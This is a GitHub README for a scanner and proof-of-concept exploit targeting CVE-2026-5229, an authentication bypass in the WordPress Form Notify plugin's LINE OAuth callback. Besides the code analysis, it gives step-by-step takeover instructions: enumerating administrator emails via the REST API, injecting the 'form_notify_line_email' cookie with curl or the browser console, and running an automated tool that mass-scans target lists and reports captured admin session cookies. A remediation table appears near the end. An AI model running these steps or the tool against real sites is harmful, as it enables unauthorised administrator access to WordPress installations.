xxconi/CVE-2026-5229

GitHub: xxconi/CVE-2026-5229

该项目是针对 WordPress Form Notify 插件高危身份验证绕过漏洞(CVE-2026-5229)的自动化扫描与 PoC 验证工具。

Stars: 0 | Forks: 0

# CVE-2026-5229 CVE-2026-5229:通过 LINE OAuth Callback 绕过 Form Notify 身份验证 (CVSS 9.8) # Form Notify — LINE OAuth 身份验证绕过扫描器 ## 📌 关于漏洞 Form Notify 是一款 WordPress 插件,负责在表单提交后发送通知,并提供 **LINE Login OAuth 2.0** 集成。 该漏洞存在于 LINE OAuth callback handler 中。用户完成 LINE 授权流程后,插件会**仅根据电子邮箱地址**来解析 WordPress 账号。它**从不检查**该 LINE 账号是否曾与该 WordPress 账号进行过绑定。 ## 🔍 基于版本的漏洞说明表 | 版本 | 漏洞 | 攻击方式 | |---|---|---| | <= 1.1.08 | Cookie 注入 + 邮箱匹配 | Path A 或 Path B | | 1.1.09 – 1.1.10 | 邮箱匹配(移除了 cookie) | Path B | | 1.1.11+ | 已修复 | — | ## ⚙️ 技术分析 ### 公开的 REST Endpoint LINE OAuth callback endpoint 被完全公开注册: ``` // src/APIs/Line/Login/Route.php register_rest_route( 'form-notify/v1', '/callback', array( 'methods' => 'GET', 'callback' => array( $this, 'get_api_callback' ), 'permission_callback' => function () { return true; // kimlik doğrulama gerekmez }, ) ); ``` ### 为什么 Nonce 无法提供保护? WordPress nonce 是 **CSRF token**,而不是身份验证 token。任何访问者都可以从页面 HTML 中获取有效的 nonce 并通过验证检查。 ### 通过邮箱解析账号 (1.1.10) ``` // Route.php — lines 115–116 $has_real_email = ! empty( $user->email ); $user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com'; ``` ``` // User.php — is_member() public function is_member( string $user_email, string $user_avatar ): bool { $this->user = get_user_by( 'email', $user_email ); // sadece email ile arama if ( ! is_wp_error( $this->user ) && $this->user ) { return true; // linkage kontrolü YOK } return false; } ``` 如果找到匹配项,`login()` 方法会立即登录: ``` // User.php — login() public function login( string $user_raw_id, string $user_email, ... ): void { if ( ! is_user_logged_in() ) { wp_clear_auth_cookie(); wp_set_current_user( $this->user->ID ); wp_set_auth_cookie( $this->user->ID, true, is_ssl() ); } } ``` ### Cookie 注入 (<= 1.1.08) ``` // Route.php (1.1.08) — lines 115–118 if ( isset( $_COOKIE['form_notify_line_email'] ) ) { $line_email = sanitize_text_field( wp_unslash( $_COOKIE['form_notify_line_email'] ) ); } $user_email = ( $user->email ) ? $user->email : $line_email; ``` 当 LINE 配置文件未返回邮箱时(`$user->email` 为空),插件会**直接读取浏览器 cookie**。攻击者可以完全控制此 cookie。 ### State 验证弱点 ``` $session_state = get_transient( 'form_notify_line_state_' . $state ); if ( empty( $session_state ) ) { // Transient yoksa $_SESSION'a düşer $session_state = sanitize_text_field( wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] ) ); set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 ); } ``` 如果 Transient 已过期,则会启用 `$_SESSION` 回退机制。在大多数 WordPress 安装中,此时的 `$_SESSION` 是空的 → state 检查可以被绕过。 ### 次要问题 — 邮箱 = 密码 (<= 1.1.10) ``` // sign_up() metodu $userdata = array( 'user_pass' => $user_email, // şifre = email adresi ... ); ``` 通过 LINE OAuth 流程创建的账号,其密码与邮箱地址相同。这允许进行直接的暴力破解或登录攻击。 ## 🔴 为什么这是严重漏洞? | 原因 | 说明 | |---|---| | **无需身份验证** | Callback endpoint 完全公开 | | **无绑定检查** | 任何 LINE 账号皆可 | | **Cookie 攻击** | <= 1.1.08 版本甚至不需要邮箱 | | **包括管理员在内的所有账号** | `get_user_by('email')` 会影响所有人 | | **State 验证薄弱** | CSRF 保护可被绕过 | | **邮箱 = 密码** | 通过 OAuth 登录的账号极易受到简单的暴力破解 | ## 🧪 概念验证(手动) **前置条件:** - 已安装并激活 Form Notify 插件,且已配置 LINE Login - LINE developer 账号和 LINE Login channel - 目标站点上存在带有 LINE login 按钮的页面 ### Path A — Cookie 注入 (<= 1.1.08) #### 步骤 1 — 确定目标邮箱 ``` TARGET="https://target.com" # 从 WordPress REST API 获取用户列表 curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool # 或 author 页面 curl -s "$TARGET/?author=1" -I | grep Location ``` #### 步骤 2 — 设置 Cookie 打开浏览器开发者工具并粘贴到控制台: ``` document.cookie = "form_notify_line_email=admin@target.com; path=/"; ``` 或使用 curl: ``` curl -v -b 'form_notify_line_email=admin@target.com' \ "$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location ``` #### 步骤 3 — 发起 LINE OAuth 流程 在浏览器中打开 Location header 中的 LINE OAuth URL。 #### 步骤 4 — 在不授予 Email Scope 的情况下完成 在 LINE 同意屏幕上**不要**授予 email 权限,或者使用没有邮箱的 LINE 账号。LINE 在没有 email 的情况下重定向到 callback。插件将回落至读取 cookie。 #### 步骤 5 — 验证会话 ``` curl -s -b 'wordpress_logged_in_XXXX=...' \ "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool ``` 预期响应: ``` { "id": 1, "name": "admin", "email": "admin@target.com", "roles": ["administrator"] } ``` ### Path B — 邮箱匹配 (<= 1.1.10) #### 步骤 1 — 确定目标邮箱 与 Path A 步骤 1 相同。 #### 步骤 2 — 创建 LINE 账号 在 `account.line.biz` 使用目标邮箱创建一个 LINE 账号。 *(需要邮箱验证 — 必须能够访问目标收件箱。)* #### 步骤 3 — 发起 OAuth 流程 ``` https://target.com/wp-json/form-notify/v1/login ``` #### 步骤 4 — 在授予 Email Scope 的情况下完成 在 LINE 同意屏幕上**授予** email 权限。 LINE 会将邮箱地址返回给 callback。 #### 步骤 5 — 自动身份验证 ``` Plugin: is_member('admin@target.com') → get_user_by('email', 'admin@target.com') → Administrator bulundu → wp_set_auth_cookie(1) → Oturum açıldı ✓ ``` ## 🛠️ 自动化扫描器 ### 安装 ``` git clone https://github.com/kullanici/form-notify-bypass cd form-notify-bypass pip install -r requirements.txt ``` **requirements.txt** ``` requests ``` ## 🚀 使用方法 ### 单一目标 — 自动发现邮箱 ``` python form_notify_rce.py -u http://hedef.com ``` ### 使用特定邮箱进行 Path A (Cookie 注入) ``` python form_notify_rce.py -u http://hedef.com \ --email admin@hedef.com \ --path A ``` ### Path B (邮箱匹配) — 手动完成 ``` python form_notify_rce.py -u http://hedef.com \ --email admin@hedef.com \ --path B ``` ### 同时执行两种 Path ``` python form_notify_rce.py -u http://hedef.com \ --email admin@hedef.com \ --path both ``` ### 批量扫描 ``` python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt ``` ### 使用代理 (Burp Suite) ``` python form_notify_rce.py -u http://hedef.com \ --proxy http://127.0.0.1:8080 ``` ## ⚙️ 参数 | 参数 | 简写 | 说明 | 默认值 | |---|---|---|---| | `--url` | `-u` | 单一目标 URL | — | | `--list` | `-l` | 目标列表文件 | — | | `--threads` | `-t` | 线程数 | `10` | | `--output` | `-o` | 输出文件 | `auth_bypass.txt` | | `--email` | — | 目标用户邮箱 | 自动发现 | | `--path` | — | 攻击 path (A / B / both) | `both` | | `--max-users` | — | 每个目标的最大用户数 | `5` | | `--proxy` | — | 代理 URL | — | | `--timeout` | — | 请求超时 (秒) | `10` | ## 📊 扫描器输出状态 | 状态 | 说明 | |---|---| | `★ AUTH OK` | 获取到会话 cookie — 完全自动化 | | `★ WP-ADMIN` | 重定向到 `/wp-admin` | | `~ MANUAL` | OAuth URL 已就绪,请在浏览器中手动完成 | | `~ PATH B` | 使用 LINE 账号进行手动步骤 | | `- NO_PLUGIN` | 未安装 Form Notify | | `- NO_LINE` | LINE Login 未激活 | | `~ NO_TARGET` | 未找到用户邮箱 | | `~ UNREACH` | 无法访问目标 | ## 🖥️ 扫描器输出示例 ``` [*] 3 hedef | Form Notify LINE OAuth Bypass | threads=10 [★ AUTH OK ] http://hedef1.com (Path A) Hedef Email : admin@hedef1.com Sürüm : 1.1.08 OAuth URL : https://access.line.me/oauth2/v2.1/authorize?... Kullanıcı : admin roles=['administrator'] Cookie : {'wordpress_logged_in_abc123': 'admin|...'} [~ MANUAL ] http://hedef2.com (Path A — Manuel tamamlama) Hedef Email : editor@hedef2.com Cookie Set : form_notify_line_email=editor@hedef2.com OAuth URL : https://access.line.me/oauth2/v2.1/authorize?... State : a1b2c3d4e5f6 [- NO_LINE ] http://hedef3.com (LINE Login aktif değil) ────────────────────────────────────────────────────────────── DONE : 2 NO_LINE : 1 ────────────────────────────────────────────────────────────── Auth bypass → auth_bypass.txt ────────────────────────────────────────────────────────────── ``` ## 🛡️ 防御 / 修复 | 措施 | 实施 | |---|---| | **插件更新** | 升级至 Form Notify 1.1.11+ 版本 | | **LINE 绑定检查** | 将 LINE ID 记录到用户 meta 中,并在每次登录时进行验证 | | **移除 Cookie 回退** | 移除对 `$_COOKIE['form_notify_line_email']` 的使用 | | **State 验证** | 移除 Transient 回退,拒绝已过期的 state | | **密码策略** | 不要在 `sign_up()` 中将邮箱用作密码 | | **REST Endpoint 保护** | 对 callback endpoint 实施速率限制 | 安全账号解析示例: ``` // Güvensiz (mevcut) $user = get_user_by( 'email', $line_email ); // Güvenli (önerilen) $users = get_users( array( 'meta_key' => 'line_user_id', 'meta_value' => $line_user_id, // LINE ID ile eşleştir ) ); ``` ## 📁 文件结构 ``` form-notify-bypass/ ├── form_notify_rce.py # Ana tarayıcı ├── requirements.txt # Bağımlılıklar └── README.md # Bu dosya ``` ## ⚠️ 法律声明 ## 📄 许可证 MIT 许可证 — 仅用于教育和研究目的。 ## 🔗 参考 - [Wordfence 公告](https://www.wordfence.com/threat-intel/vulnerabilities/) - [LINE Login OAuth 2.0 文档](https://developers.line.biz/en/docs/line-login/) - [WordPress 插件目录 — Form Notify](https://wordpress.org/plugins/form-notify/) - [CVSS 3.1 计算器](https://www.first.org/cvss/calculator/3.1) - [OAuth 2.0 安全最佳实践 — RFC 9700](https://datatracker.ietf.org/doc/html/rfc9700)
标签:CISA项目, OAuth认证绕过, Web安全, WordPress插件, 加密, 安全漏洞, 漏洞扫描器, 蓝队分析, 逆向工具